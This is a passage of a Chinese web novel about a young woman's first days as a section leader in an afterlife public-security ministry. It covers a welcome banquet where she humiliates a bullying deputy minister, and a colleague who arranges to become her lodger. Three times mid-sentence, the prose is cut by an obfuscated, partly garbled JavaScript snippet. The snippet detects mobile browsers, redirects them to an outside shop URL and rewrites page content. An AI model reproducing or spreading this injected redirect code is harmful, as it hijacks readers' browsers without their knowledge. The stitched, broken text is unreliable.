稀稀拉拉的掌声从办公室里传出来,祝平安却没有丝毫升官的喜悦,惊得一把拉住张松鹤:“怎、怎么我刚上班就当组长了?我根本什么都不会呢!” “哎呦呦,当官你还不高兴了?”张松鹤笑着调侃,看祝平安真急了,才解释说:“你先前立的功劳太大,职级一下子定到八级,严格来说都能主持一个县的日常事务了。要不是特别行动组是我的直属部门,让你当个组长都是委屈你了。妙妙他们都是十一级、十二级,总不成让他们来管你,也太不像样子。” “别担心了,你肯定能干好,我的眼光不会错的。”张松鹤安抚祝平安,用下巴点点温尔雅的方向:“再说了,不是还有他吗?有什么不会的都交给他来办。” “是呀平安,我会帮你的,不用怕。”温尔雅倒是没有那种“乍登高位”的失措感,还是那么稳重淡定。既然两人都这么说了,祝平安也不好再矫情下去了,只得郑重地向着大家一鞠躬:“请大家多多指教。” 迎新结束,新出炉的祝组长亦步亦趋地跟在张松鹤身后:“现在我要做什么?” “第一天上班,事情多着呢,你跟温尔雅先拿着上任书去一趟人事办公室,签订正式的聘书,再领一下你们的印章和送魂鸟。印章是非常重要的物品,一切办公文件都需要用印才能生效,你们以后要随身携带,大多同事都把它们做成了饰品,比如我就把它做成了耳饰,这样就不怕丢了。” “回来之后,找杜元给你们开通行证,吃食堂领工资住宿舍都要凭通行证的,小心别弄丢了。再让杜元给你们申请一个传真鼎,没有那个开展不了工作。一会儿向大姐会带你们见其他部门的同事。要尽快把他们的长相和职司记清楚,特别行动组人太少,以后开展工作少不得他们支援配合,一定要打好关系!” “人头认过一遍,就找妙妙要我们以前办过的案子,你尽快看一遍,熟悉一下办案流程,有什么不懂的就问龙如烈,很多案件都是他跟的。对了,晚上别吃食堂了,告诉杜元定个饭店,把其他几个部门的人都叫上,大家一块吃饭,就当是欢迎你们俩了。” 张松鹤噼里啪啦说了一大堆,祝平安都有点跟不上了。但是她也有点小激动:原来这就是传说中的职场!现在她也算是个真正的社会人了! 手掌心一痒,一张纸被塞进了祝平安手里,她拿起来一看,居然是温尔雅写的纸条,把今天要做的事情按照一二三四的顺序,清楚明白的列了单子,连每一项大概要花多久都给估算了出来。 “你瞧,有这样的好帮手,你还怕什么?”张松鹤也看到了那纸条,忍不住夸赞了一下温尔雅:“你记的够快的,我怎么就遇不到这么机灵的秘书。” 拿到这张表,上班似乎也成了可以一项可以按图索骥的任务,祝平安两人东跑西跑,领回了自己的聘书和印章,中午又在杜元的带领下吃了一顿公家食堂,平心而论,味道只能说是不难吃,但菜品种类丰富,三荤三素一汤,有虾有肉有鸡腿,饭后还有水果可以领,加之又不要钱,祝平安还是相当满意的。 她一边吃饭一边打量四周,杜元也在打量这两位新上司。杜元生前也是在公家单位里混,一双眼睛何其毒也,一顿饭的功夫,就把两人的底细摸得差不多了。 祝组长虽然职级高,是正组长,但身上毫无装饰,背来上班的包也只是大路货色,吃饭时东张西望,虽不能说是失礼,但多少也表现出了从没接触过此类环境的新鲜感。加之说话的时候一片诚恳,毫无心眼,一看就是贫寒人家的孩子,刚毕业工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837517|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作的新丁,好对付着呢。 温副组长就不同的多了,美貌惊人不说,头上的发带虽是素面无花,却在发带角坠了两颗珍珠,圆润硕大,看那光泽,肯定不是假货,而是真正的深海珍珠。整个人的气质更是雅重里不失矜贵,即使吃的是大食堂,依然是腰背笔直目不斜视,用调羹喝汤的姿势都极其好看,一看就是系出名门,接受过非常严苛的礼仪训练。 而温副组长的行事,更是亲切中不失威严,这样的气派,比部长张松鹤还像个领导,以杜元看来,只有省长级别的高官才有这种气质。说话亦是滴水不漏,一顿饭的功夫,他不知不觉就被温副组长套走了许多组内人员的情况,自己却依然没摸清温副组长是什么路数。只知道这肯定是大家公子,要小心伺候。 一顿饭下来,杜元给两个上司都贴了标签。吃完饭出门,水果筐就在食堂门前,今天的水果是蜜橘,祝平安拿了一个,在食堂门口就剥开,一边走一边吃了起来:“还真甜,现在的橘子都改良成纯甜的了,跟喝糖水似的,真怀念以前那种酸甜的橘子。” 这也是平民出身的一种表现,上流人士是绝不会一边走一边吃东西的。杜元下意识就扫了一眼温尔雅,看他会怎么做。 温尔雅正在筐里拿橘子,本来已经捡出来一个又大又成熟的,听了祝平安的话,立刻把那个大橘子丢回筐里,又挑出来一个小而青的,几步追上祝平安,也优雅地剥掉橘子吃了起来:“嘶——酸。” “真的?给我尝尝有多酸。”祝平安凑过来,从他手里剥了一瓣果肉塞到自己嘴里嚼嚼:“嗯,酸甜酸甜的,还挺有橘子味。我就爱吃这口,你不喜欢,那咱俩就换换吧。” 哼,大家公子当街吃东西,可能是为了配合上司,但再怎么配合上司,也不可能要别人吃剩的橘子。杜元以为温尔雅定然会找个理由婉拒,谁想到温尔雅好像就等着这句话一样,一把就从祝平安手里把那个剩橘子抢了过来:“你说的哦,可不准反悔。” 然后,杜元就很惊悚地看见,温尔雅把那半个剩橘子当什么宝贝一样紧紧抓在手里,笑的那叫一个满足,杜元都怀疑他回去要把这剩果子供起来了。他被雷的一下停住脚步,温尔雅斜撇了他一眼:“怎么不走了?” 默默地,杜元把刚刚给祝平安贴上的“好对付”标签在心里撕成了一万个碎片,用加粗的一号字体重新写上“绝对不能得罪”。年纪轻轻,身居高位,得到张部长看重,空降到直属部门做领导,还有温尔雅这么一号人物对她死心塌地,若是背后没有什么黑幕他绝对不信! 虽说之前他也看了报纸,知道这位祝组长是什么优秀毕业生,在救灾时立了一等功,但他身在公职部门,自然知道宣传的套路,有一份功绩就能吹出十分,谁知道这一等功掺没掺水? 毕竟那个琢玉学院的校长魏玄成对她也很欣赏,这位祝组长说不定就是妲己一流人物,一路都有男人把她的路铺顺了,自己看不穿她,八成是自己的道行浅呢。 祝平安倒是不知道,自己上班第一天就被当成妲己了,这会儿她正在向大姐带领下跟其他部门的同僚一一握手微笑呢,听着向大姐口中的“这是王组长、这是李警长、这是赵处长……”,清一色的衬衫西裤皮鞋像是流水线一般从她眼前划过,一圈轮下来,她顶多记住了一两个特别老的或者特别好看的。 于是,晚上吃迎新宴的时候,就颇为尴尬了——满桌子十来个人,她就认识那么一两个,还不记得对方是负责哪个部门的了。 49. 下马威 但凡是上了班,就逃不开酒桌文化,这话是绝不掺假。晚饭时的“德善楼”已经是座无虚席,人们呼朋唤友,好不热闹。 甲号包间,菜已上齐,自然也有一番觥筹交错,公共安全部的同僚熟知张松鹤不喜欢酒桌上的周旋,也就默契地直接跳过他,向着今天迎新会的主角进攻。 “论理,各位领导都在,轮不上我说话,我只是抛转引玉,先说两句。祝组长年少有为,此前您的事迹我们都看到了,真是一身正气,以民为重,把我们老家伙都比下去了!温副组长也是少年英雄,我先干为敬!” 看着眼前的衬衫西裤皮鞋举杯相敬,祝平安只好也拿着杯子懵懵懂懂地站起来。她其实不会喝酒,杯子里装的是茶,也从没见过这种饭局。她身边的温尔雅优雅的一举杯,借着手势遮掩,小声道:“这是户政处的赵处长,你放松,一会儿我来应付他们,你只需要在我说完了话以后,说上一句以后请多指教,再把茶喝了就好。” 说罢,温尔雅立刻接上赵处长的话茬:“赵处长您太客气,您主持户政工作多年,一向是平平稳稳,毫不出错,资历又深,经验又丰富,我们组长还年轻,初来乍到的,以后遇到个大事小情的,还要请您这样有经验的老同事指点着。” 说罢,他在桌子底下轻轻踢了一下祝平安。祝平安立刻接上:“赵处长,以后请多指教。”然后把杯子里的茶水一饮而尽。 见赵处长笑着坐下,祝平安松一口气,心想幸好有温尔雅在前面拿话垫着,要不然她肯定像极了傻瓜,不由得对温尔雅感激一笑。还没等她笑完,第二位也开始向她敬酒,温尔雅故技重施,把这位警务处的孙处长哄得眉开眼笑。 “治安组王组长……” “北城支部李警长……” “……” 十几个人轮下来,祝平安感觉自己喝水都要喝醉了,逮住个机会问温尔雅:“你怎么谁都认识?” “下午听向大姐说的呀。”温尔雅喝的是酒,却是面色如常嘴角含笑,丝毫看不出已经喝了一斤的样子。 人跟人的脑子是不一样,祝平安记人脸不在行,加之她对这种寒暄实在说不上感兴趣,见敬酒告一段落,便抓紧时间吃菜,把人情世故交给温尔雅负责。可惜这会儿她肚子都被茶水涨满了,有好菜也吃不下去多少。 这么无聊的宴会,张松鹤要经常参加吗?那真不知道他是怎么挺过来的,祝平安往嘴里塞了一块贵妃鸡,好奇地看了张松鹤一眼。只见他拿着筷子在自己盘子里划来划去,又不像在瞎画,便探头望去,忍不住噗呲一声笑了出来——张松鹤用筷子沾着菜汤,在盘子里画乌龟呢! “嘘,看到就看到,还笑。”张松鹤见她发现了,赶快把盘子里的乌龟划花:“可不准说出去。” “我说出去干什么?我都嫌无聊呢,要不是一会儿还要敬酒,我都想尿遁了。”祝平安撇撇嘴:“既然你也嫌无聊,为什么还要办这个迎新会?” “嗨,人在江湖,身不由己啊。”张松鹤装模作样的感叹一句,接着才说:“上班跟上学不一样,别看我是部长,可如果下面的人不配合我,我就是光杆司令,做事也得顾及他们的看法。别人进来的时候都有迎新会,倘若不给你办,大家就会以为我不重视你,将来你跟他们打交道都要被看低一眼,工作就不好开展了。” 祝平安心说这平常是有多不自信,才要靠一个饭局来给自己撑腰啊,但既然规矩如此,也就只得接受,最多嘴里嘟囔一句:“那在这里互相吹捧也太无聊了,怎么不搞个其他形式的迎新会?有益身心健康的那种,比如做点体育运动,登山啦打球啦,或者约着一起去打游戏也不错。” “你这建议不错,我下次在给人办迎新会的时候就试试,不过真要这么搞,有些人恐怕就更恨我了。” 张松鹤示意祝平安看向对面一个大肚腩中年人,“比如对面那个徐副部长。他一直就不喜欢我,因为他觉得我是有关系才当了好多年的部长,阻碍了他的上升空间,现在每天都想尽了办法抓我的小尾巴呢。他知道你是我的人,恐怕多少要给你点气受,你跟他打交道要注意。” 大人的世界还真不好混,祝平安对这些事情简直是闻所未闻,她似懂非懂地点点头:“明白了。” 温尔雅交际了一圈,回身悄悄告诉祝平安:“你是今天的主角,现在同级别的都敬完你了,我们也应该对张部长和徐副部长敬酒了。” 说着,便示意祝平安起身,祝平安便倒了一满杯茶,先到徐副部长面前。温尔雅照例将徐副部长吹捧一番,祝平安等他说完了,便要端杯子喝茶。 “慢着。”正当祝平安把杯子举到嘴边的时候,徐副部长出言制止了她,“年轻人,既然是敬酒,就请拿出点诚意,端着一杯茶来敬酒,不太合适吧。” 此言一出,满桌顿时寂静下来,有些人已经在互相打眼色,心知这是徐副部长给新来者的下马威。张松鹤待人宽松,这徐副部长却爱拿腔拿调,但张部长每天都在下一线,主持晋升、福利、资源划分的都是徐副部长,众人自然不敢轻易得罪他,甚至还有些人更偏向徐副部长一点。 这个祝组长初来乍到,身上的派系烙印又太明显,徐副部长不借着她来刺张部长才怪,不过究竟不敢太过分,不过是一杯酒而已,祝组长只要喝了,今天这篇也就揭过去了。 “祝组长不会喝酒,只好以茶相代,不是不尊重您。”温尔雅反应很快,立刻温声解释:“就让我代祝组长敬您三杯,您别见怪。”说罢,他连斟三杯,一饮而尽。 徐副部长八风不动地坐在那里,看着温尔雅连干三杯,仍是神色淡淡:“我是个眼里不揉沙子的人,一是一二是二,是什么就是什么,没那么容易被人蒙过去。茶不是酒,温副组长自然也不能替祝组长,否则到明天,你要不要替祝组长领工资啊?这三杯是温副组长敬我的,我领了。祝组长,你还没敬我呢。” 祝平安这下被他架起来了,这个徐副部长如此找茬,按她脾气,早就不伺候了,可今天是入职第一天,她不愿把场面闹的尴尬。她深吸一口气,硬挤一个笑容:“徐副部长,我真的不会喝酒,喝一点就会耍酒疯,场面不好看的。” 徐副部长眼里闪过一抹得色,耍酒疯?耍酒疯正好,不管是躺在地上打滚,还是搂着路人唱歌,丢的都是张松鹤的脸。 “祝组长执意不敬我酒,我也不好拉着个老脸去恳求。”他站起身,拿走祝平安手里的杯子,看都不看就泼在地上,又亲自斟了一杯酒,塞回祝平安手里,“现在,我敬祝组长一杯酒,祝组长,你是喝,还是不喝?” 场面静的连根针落下都听得见,张松鹤深深皱起眉头,大踏步走过来:“徐副部长这是做什么?一杯酒而已,您就为难新同事,不合适吧?” 徐副部长一脸我都是为了她好的表情:“张部长,您误会我了,我这不是为难新同事,是对她的教导。今天她不同我喝酒,我自然不放在心上,以后她跟您出去办事,也不喝酒,得罪了其他人,如何收场?酒这件事,她越早学会越好,对她没有坏处,祝组长,你说对不对啊?” “既然徐部长这么看得起我,我不喝岂不是太不懂事了?”祝平安心说息事宁人吧,眼睛一闭,一仰脖子就把那火辣辣的液体吞了下去,脸上立刻腾起一片红云。 大家见她喝了,也都松弛下来,只道此事就此揭过,纷纷帮腔道:“好!祝组长痛快!” 祝平安正想回去坐下,却又被徐副部长叫住:“且慢!” 她一转身,便见徐副部长再斟上三杯酒,往前一推:“祝组长,你这不是能喝酒吗?明明能喝,却说不会喝,可要罚你三杯。” 姓徐的欺人太甚! 这下连同事们眉头都皱起来了,温尔雅眼里闪过一抹怒意,就想说话,却被祝平安伸手制止了。她对着徐副部长露出一个乖巧的笑容:“是我得罪了,我认罚。” 她端着酒,心道面子已经给你了,还不依不饶,今天不给你个下马威,你还当我是病猫。她偏头,对着温尔雅二人微微一眨眼,做了一个“看我眼色行事”的口型,连连举杯,就把酒全部喝了下去。 第三杯酒下肚,她两眼一翻,嘴唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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偏巧今天他穿的是一条红内裤,有些跟他素日里也不对付的同事才不放过这个机会,噗呲一声就笑了出来,惹得徐副部长眼泪都要下来了。 见徐副部长的人丢的差不多了,张松鹤立刻训斥道:“祝平安!太不像话了!怎么是酒是汤都分不清楚呢?看把徐副部长的衣服都弄脏了!还不快道歉,再赔给徐副部长一身衣服!” “哦!哦!不好意思徐副部长,我这就给你买衣服去……”祝平安醉醺醺地从地上捡起那被泼湿的衣裤,“你放心,我会参照你的衣服……一定给你买身一模一样的!” 说罢,她不等其他人反应过来,抱着衣裤撒腿就跑。 张松鹤大叫道:“丢人别丢到大街上!温尔雅,跟我一块把她追回来呀!”温尔雅点头称是,两人追着祝平安也一溜烟地跑没了踪影。 差点笑死的同事们见正主儿都走了,自然不敢留下堵枪眼,纷纷说着怕出事,要跟出去看看,一霎时便作鸟兽散,徒留被剥个精光的徐副部长在包间里社死。 徐副部长只觉血压升高,坐在地上缓了半天,才颤颤巍巍地把桌布扯起来裹上,探个脑袋出门,低声叫来服务员:“你们这里还有工作服吗?借我一套穿。” “有的先生,您是吃好了吗?要不要先结账?”服务员虽对包间的情况都听在耳中,却丝毫不露出来,只是盈盈浅笑:“您这个包间一共消费六十九万,您是现金还是刷卡?” “什么?还要我给钱?”徐副部长的脾气瞬间就爆炸了,裹着桌布站在原地,把上到张松鹤下到温尔雅都骂了一遍,直骂的自己眼冒金星。他也是气昏头了,硬邦邦甩出一句:“没钱!”起身就要走。 “先生,你没结账是不能走的,即使真要走,也请把本店的桌布留下来。”服务员仍然是那么笑眯眯的,“您真的不结账?那我们不仅不能借您衣服,还要叫差役来了哦。” 绝对不能这个样子见到下属!那就真的威严扫地了!徐副部长的心情那个悲愤啊,桌布往下一滑,露出了他两条毛腿,为了不这样走到大街上,他到底还是软了:“……签单行吗?” 50. 夜谈 祝平安一马当先,狂奔到一个小巷子里,确认只有张松鹤二人跟上来,这才停下脚步,三人对视,都是哈哈大笑起来,祝平安笑的尤其厉害,差点真的倒在地上打滚。 “平安你真够坏的!”张松鹤笑的眼泪都出来了,“你是没看见你出去之后徐副部长那表情,想起来都够我笑三年!” “承让承让,还得是你们俩跟我配合默契。”祝平安把那身衣服塞进路边的垃圾桶,“要说坏,温尔雅才坏呢,要不是他暗示我桌上有汤,徐副部长还不能出这么大的丑,哈哈哈!” “他那是活该,谁让他难为你。”温尔雅还是一副愤愤不平的样子,“以后看他还敢不敢这么嚣张。” “我想他一辈子都不会跟平安共同出席一个酒局了。”张松鹤擦掉自己笑出来的眼泪:“被他闹了一出都没吃好,走走走,我请你们俩烧烤去!” 肥美的肉串在火上均匀旋转,再撒上孜然辣椒,大风扇将肉串的霸道香气吹出几条街外,惹人馋涎。碳火暗红,油脂滴在碳上,腾起一阵猛火,将肉炙的焦香。几把铁签肉串放在塑料桌凳上,玻璃瓶可乐被嘭地起开,三人共同举起可乐瓶子:“为第一次默契合作干杯!” 这的氛围可比刚刚的酒楼要亲民热闹的多了,友人们三三两两聚在一起,大口畅饮啤酒,间或吃些烤肉,有些喝醉了的还兴奋地唱起歌。火焰、烤肉、酒饮,几千年前,人类就会这样作乐,没想到几千年后还是这几样。 温尔雅喝了一口可乐,觉得自己又重返几千年前,参与了一次篝火晚会。对面的祝平安放松的一把一把撸串,吃得香极了,脸色还因为酒精泛着粉红,瞧着像是夏日里的鲜桃,说不出多么动人,让他几乎不敢细看。 “徐副部长手里握着行政大权,我成天在外面跑,怕是顾不到你们,你们自己机灵一点。”张松鹤指点两人,“部里其他同事都还好,偏偏他是个麻烦。也是我不好,平常对于这些政务太疏懒,离了他这个部门都没人打理了,把他纵出不少毛病。” “从今以后,你就可以放心了。”温尔雅举着可乐瓶对他示意一下,“今天这一闹,他的气焰肯定要低下去不少,不出三个月,他就再也不会出现在你面前。” 张松鹤倒是相信他有这个本事,也不多话,转而关心平安:“第一天上班感觉怎么样?能适应吗?” “其实第一天也没怎么接触工作,以后再看吧,有不理解的我会找你。”祝平安抓抓脑袋,“倒是有个事想问你一下,我们是必须住宿舍吗?好像今天杜元没有带我们去宿舍。” “宿舍是要你申请的,你想申请吗?实话说条件不怎么样,只有没房子住的人才会申请。你家离上班的地方也不远,干嘛不住家里呢?” 祝平安心想也对,之前她是怕打扰里奥,才决定工作了就出去住,但现在两人关系非同往昔,她好像也没必要自找苦吃。 “你现在是跟你的曾外太婆住在一起吧?就是那个陆婉珍?”张松鹤边吃边道:“她都拿到投胎资格表了,应该很快就会走了吧?” “哪有那么快啊,她在地府也住了小一百年了,又有工作,怎么能说走就走呢?”祝平安扳着手指头:“首先,这房子她想要转到我名下,去办理过户手续,前前后后就要小一个月,加上她的培训班也有不少学生,该上完的课也得上完……零零散散的事情加在一起,估计半年后她才能去投胎吧。” “那她走了以后,你就一个人住了?”温尔雅敏锐地察觉到了这个信息。 “是呀,我还发愁呢,这房子太大了,上下十来间屋子就住我一个人,我都嫌浪费。”祝平安突发奇想:“要不我把它租出去?” “算了吧,你这房间太多了,合租的话家里住上十几号人也太杂乱,你还是自己住吧。”温尔雅闲闲几句话,就把祝平安当包租婆的梦想打消了。 说说笑笑,已到了该休息的时间,祝平安先前灌的四杯白酒也逐渐上头了,只觉昏昏欲睡。张松鹤结了账,叮嘱祝平安:“明天上班的时候就装什么都不知道,温尔雅,你懂怎么说?” “放心吧。”温尔雅扶着已经困得东倒西歪的祝平安,“她还是有点醉了,我先把她送回家去。” “不麻烦你了,我来送就好了。”张松鹤伸手就要把祝平安背起来,却被温尔雅拉着祝平安闪开了。温尔雅微微一笑:“张部长知道平安家在哪里吗?我之前就去过祝平安家,还是我送好了。” “哟!平安没告诉你,她第一次认家门都是我送去的?”张松鹤两手抱臂,好整以暇:“倒是你这小身板,背得动她吗?我倒是听白子欣说过,之前你背了她十分钟就不行了,万一把她摔了就不好了。” 可恶,白子欣这个大嘴巴!温尔雅脸上还是保持微笑,心里已经把白子欣骂了千八百遍:“路这么远,你也不会是背着她走回去吧?还不都是要叫出租。” 他转移目标,轻轻推推祝平安:“平安,醒醒,你要张松鹤送你回家,还是我送你回家?” 祝平安的眼睛已经合上了,半梦半醒地倒在温尔雅肩膀上,一听张松鹤,被他飞行特训折磨的身体回忆立刻觉醒了:“唔……不要张松鹤……他驭鸟太晃……呕……恶心……” 张松鹤的脸绿了,感觉到历史的回旋镖重重地打在自己身上。那边,祝平安还没完,她陶醉的伏在温尔雅肩膀上,把脸埋在温尔雅肩窝里深吸口气:“这个好……总是香香的……好闻……” 温尔雅的脸立刻比祝平安还红了三分,一半是害羞的,一半是开心的,此时此刻,他无比感谢自己精致的生活习惯。他对着张松鹤露出了一个胜利者的微笑:“张部长,平安都说让我送了,您就先回吧。” 话说完,也不等张松鹤回答,背起平安就走出了巷子。张松鹤悻悻收回了手,明知不该如此,却自己也不知道在懊丧什么,他摇了摇头,甩开那些莫名的思绪,便也回家了。 几家欢乐几家愁,温尔雅现在就感受到了前所未有的喜悦。平安像是只小猫崽子,乖乖地趴在自己背上睡得香甜,滚烫的小脸贴在自己肩窝,烫的他的心也随之砰砰乱跳,思绪起伏。 被选择和偏爱,原来是这么美妙的事情,即使只是选他送她回家,都令他如此开心。脚下似乎不再是肮脏狭窄的小巷,而是春花烂漫的原野,温尔雅觉得自己也成了一株在风中摇曳的花苞,随着背上人的呼吸而轻轻摇颤,随尔东西,无力抗拒,无论是盛开还是枯萎,他的命运都在她一念之间。 回家的路不算短,温尔雅却觉得只一晃神的功夫,他就站在了祝平安家门前。里奥迎上前,担心地问:“这是怎么啦?” “没事,迎新会上喝醉了而已。”温尔雅将祝平安背到她的房间,轻柔地将她放在床上,细致地为她脱了鞋,又盖上被子。害怕她中途醒来口渴,又贴心地端来一杯温水,放在祝平安床头。 里奥站在门边,默默打量温尔雅。她是过来的人了,现在又是一个姑娘的家长,有些信号她不会看错。从上次见面起,她就能感觉到,这个温老师——对她家平安绝对有意思。 温尔雅做完一切,这才轻手轻脚地退了出去,里奥已经端坐在客厅,见他出来,笑着招呼:“来杯茶?” “那就打扰您了。”温尔雅露出最标志最优雅的笑容,主动上前,端坐在里奥下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837519|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首,他也有事情要跟里奥讲。 “听平安说,您去投胎之后会把房子留给她?”温尔雅给里奥倒了一杯茶,主动开启了话题。 “是啊,我已经提出过户申请了,我在下面就她一个亲人,这房子不给她给谁?”里奥啜饮一口茶水,不以为意。 “您真是心疼平安,这房子的地段很好,交通方便,她上班住在这里刚好,不用租房了。”温尔雅笑着夸赞了房子几句,“不过就是太大了点,一个人住浪费。平安今天还说,若是您离开了,她想把房子租出去呢。” “那怎么行?”里奥皱起眉毛,“往家里领一些来路不明的人是很危险的,哪能这么随便!” “我说也是呢,所以劝她再考虑考虑。”温尔雅又给里奥倒了一杯茶,“不三不四的人是肯定不能进家门的,但房子这么大,就她一个住,也觉得太冷清了些。以后她若是生个病、受个伤,屋里连个人影都没有,端茶吃饭都得自己来,也不方便。” “就说今天吧,她喝醉了酒,若是您不在屋里迎着,她回来连盏灯都没有,岂不是太可怜了吗?” 温尔雅循循善诱,里奥想到这个场面也觉得不妥。她自己独居多年,自在的同时也偶尔觉得寂寞不便,做家长的都一样,这些事情她自己能够忍受,但想到要发生在孩子身上就觉得不成了:“你说的也有道理。” 见火候已到,温尔雅半吞半吐地说出了自己真正的目的:“我毕业后跟平安是同组的同事,跟她一起上班。我原本的住处通勤不方便,也想在这附近租房呢。” “租生不如租熟,您家的空房间这么多,要是方便的话,不如租给我一间?”温尔雅诚恳地抬起头来:“我跟平安一起上学,现在又是同事,彼此知根知底,绝对不是坏人。要是能租您家的房子,我通勤方便不说,以后您走了,平安有点什么事,我也能搭把手,您说对吧?” 里奥听出了言外之意,再度上下打量温尔雅。自己在的时候还好,自己走了,一个正当龄的大姑娘和男青年同居一室,算怎么回事?他既然开这个口,自然是为了…… 眼前的青年相貌不必说了,是一等一的好,几番接触下来,只觉他性格妥帖细心,待人接物都周到,教养也是出类拔萃。又像是他说的,一路从同学到同事,知根知底,要是以家长挑女婿的眼光来看,真是十全十美,找不出一丝不好。 只是……平安又是怎么想呢? 里奥吃过包办婚姻的苦头,自然不会轻易帮平安下这种决定,甚至都不会在这方面多说一句话。但温尔雅如斯人才,错过了也确实可惜。她冷不丁扔出一句话:“你是喜欢我们平安吧?” “……是。”出人意料地,温尔雅居然承认了。他脸上浮起害羞的粉红:“……您别误会,平安还不知道这件事。我不敢有什么妄想,觉得自己能住进来,就是您同意我跟她交往了。” “我只是想要离她更近一点,平安现在的工作非常危险,受伤可能是家常便饭。上班的时候我能时刻关注她,要是下班后也能跟她住得近些,她有任何需要,我都能及时赶到她身边。” 一番话说的情真意切掏心掏肺,里奥想起自己少年时的往事,不由得心里一软。且温尔雅言之有理,平安那工作,只怕一年最少去两趟医院,自己一走,她有个贴心人在身边照顾,绝不一样。 她这不算是撮合,就是给温尔雅一个机会,能跟祝平安多接触的机会,再说了,看祝平安之前的家书,她未必对温尔雅没有好感…… “好吧,不过你要记住……好好照顾她。” “那是当然。”温尔雅一仰头,无比郑重地许下承诺。 51. 第一个案件 第二天上班的时候,祝平安两人在大门前专门等着徐副部长,一见到徐副部长阴着脸出现,祝平安就立刻上前,来了个九十度的鞠躬:“徐副部长,真不好意思,我昨天喝多了发酒疯,没得罪您吧?” 徐副部长一张脸阴晴不定:“你还好意思问我?” “我喝多了酒,什么都不记得了,温尔雅,我昨天都干什么了?”祝平安连忙大声地喊温尔雅了。 温尔雅连忙上前:“您昨天闹得可厉害了,又是打翻酒壶,又是弄撒汤碗,还把徐副部长的衣服弄脏了,害的他不得不……” “好啦好啦!都别说了!”徐副部长眼看着温尔雅要说露馅,当着四周同事的目光,连忙大声打断了他。又硬挤出来一个微笑:“没有什么,以后也别再提了。” 说罢,几乎是逃窜一般绕开两人跑回了自己的办公室,祝平安两人在背后暗笑不迭。这次祝平安走在单位里,觉得同事们都热情多了,其他几个部门的负责人也早就不爽徐副部长的架势,见祝平安整了他,立刻便把她引为自己人。 白子欣那小子到了刑侦处后,可谓是大展才华,很得处长于方器重。有他在中间牵线搭桥,祝平安也以刑侦处为切口,打开了自己的交际圈子。 温尔雅则立刻展现出了自己在行政事务上的才华,短短几天就把日常工作从徐副部长手上接过了不少,每天忙的像是内务大总管一样,这也是题中应有之义。 唯一让她讶异的,是温尔雅居然搬进了自己的家。她问了温尔雅和里奥是怎么回事,两人口径一致,都说是温尔雅为了上班方便,本来就要在附近租房子,那索性租生不如租熟。 祝平安虽然觉得有点怪怪的,但现在房子的主人还是里奥,她要出租给人一个房间,祝平安当然也不会反对,何况还是租给温尔雅,跟朋友一起住感觉也不错。 她本以为温尔雅是不爱武装爱红妆,谁知同住一个屋檐下才知道,温尔雅居然每天都会认真地练拳。据他说,这是加入公共安全部后的新爱好,总要把身板练得强壮一点,将来才好开展工作。 祝平安不疑有他,里奥也很是支持,把自己会的武艺倾囊相授,温尔雅人聪明,学得也快,只是肌肉力量不是能一蹴而就的,只能循序渐进地慢慢培养了。 温尔雅自从搬进祝平安家,两人简直可以说是形影不离,他只觉走路像是在云里,飘来飘去好不得意。直到单位值班表发下来,才给他头上泼了一盆冷水,气的他当即就去找了张松鹤:“这值班是怎么回事?为什么我跟平安的值班是完全错开的?” “为了有突发状况时,能够立刻联系到负责人,每个部门每天都必须有领导值班。”张松鹤目不斜视地路过温尔雅,带来一股凛冽地冰雪冷香,“特别行动组就两个领导,你们俩人一正一副,本来就应该按照这个方法排班。” 见温尔雅难得被噎住的样子,张松鹤突然觉得心怀大畅,补上一句:“对了,我看到你的住址登记了,还好别人都没注意。你别忘了同部门成员不得谈恋爱的铁律,我知道你不在乎,但小心带累了别人。 说罢,他便招呼祝平安跟她一块下一线去了:“有个案子过来,我带你去看看情况。” 见两人共乘一只送魂鸟扬长而去,温尔雅气的暗自咬牙。当时他只想着要照顾平安,才转到公共安全部,根本没想起这个“同部门不得谈恋爱”的规定。 虽说现在也确实不是恋爱的时机,但这话被张松鹤说出来,依然让他觉得不爽,这份不爽一直持续到后面开内部会的时候,搞得大家都莫名其妙。 祝平安最近跟张松鹤跑辖区,觉得赶路体验好了不少:“你的驾驶技术其实不错嘛!我觉得跟卫珑都有一拼了!” “之前那是锻炼你,你当我真的不会驭鸟吗?”张松鹤一抖手腕,送魂鸟展开双翼,平稳的滑行:“看见前面那个小区了吗?用心记路,最近你只怕要经常跑这里了。” “怎么回事?” 张松鹤带着她落地,走到这个看上去颇为光鲜的小区门口。门前有两个看守模样的人,上来想拦,张松鹤对他们亮了一下证件,两人又退回去了。 祝平安进了大门,只觉这小区乍一看非常光鲜亮丽,但就是架不住仔细一瞅:外立面的砖是裂的,门前的路是没修的,绿化是稀稀拉拉的,人工湖里只有一点水,根本是个大泥巴坑。 